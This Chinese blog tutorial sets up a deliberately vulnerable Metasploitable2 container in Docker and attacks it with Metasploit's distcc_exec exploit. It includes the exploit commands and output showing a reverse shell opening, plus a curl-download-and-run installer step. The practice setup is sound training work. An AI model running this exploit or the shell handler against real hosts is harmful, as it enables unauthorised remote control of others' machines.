体验一把黑客的感觉——Unbuntu下用docker搭一个肉鸡(Metasploitable)来练靶(渗透测试)

本文介绍在Unbuntu环境下用docker来简单快速地搭建起Metasploitable系统,并用Metasploit来进行渗透测试。
Metasploitable是一个供渗透测试用的、集成各种漏洞的Linux系统。
Metasploita则是一个集成各种漏洞攻击的渗透利器。

一. 安装docker

添加https证书

$ curl -fsSL https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg | sudo apt-key add -

添加仓库

$ sudo add-apt-repository "deb [arch=amd64] https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu $(lsb_release -cs) stable"

安装docker-ce

$ sudo apt-get install docker-ce -y

启动及设置开机自启(ubuntu 14以上版本)

$ sudo systemctl start docker
$ sudo systemctl enable docker

将用户添加到docker组,以后就能以非root身份运行docker了

$ sudo groupadd docker
$ sudo usermod -aG docker $USER

执行完之后可能要重新登录才能生效
检查是否安装成功

$ docker version

二. 安装Metasploitable

拉取metasploitable2镜像

$ docker pull tleemcjr/metasploitable2

运行metasploitable2容器

$ run --name mymetasploitable -it tleemcjr/metasploitable2:latest sh -c "/bin/services.sh && bash"

即可进入metasploitable2系统的命令行,执行$ uname -a可查看系统信息

三. 安装metasploit-framework

$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
  chmod 755 msfinstall && \
  ./msfinstall

安装完成后执行$ msfconsole即可进入。

四. 进行渗透测试

进入msfconsole命令行窗口

$ msfconsole

docker肉鸡下用$ ifconfig查看ip,然后即可进行下面的测试。
以 exploit/unix/misc/distcc_exec 漏洞为例,

msf > use exploit/unix/misc/distcc_exec 
msf > set RHOST x.x.x.x(docker肉鸡ip)
msf > exploit

若渗透成功,则能成功取得肉鸡的shell控制,即可远程控制对方电脑。

msfconsole

msf > use exploit/unix/misc/distcc_exec 

msf  exploit(distcc_exec) > set RHOST 192.168.99.131

msf  exploit(distcc_exec) > exploit 

[*] Started reverse double handler

[*] Accepted the first client connection…

[*] Accepted the second client connection…

[*] Command: echo uk3UdiwLUq0LX3Bi;

[*] Writing to socket A

[*] Writing to socket B

[*] Reading from sockets…

[*] Reading from socket B

[*] B: "uk3UdiwLUq0LX3Bi\r\n"

[*] Matching…

[*] A is input…

[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at 2012-05-31 22:06:03 -0700

id

uid=1(daemon) gid=1(daemon) groups=1(daemon)
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章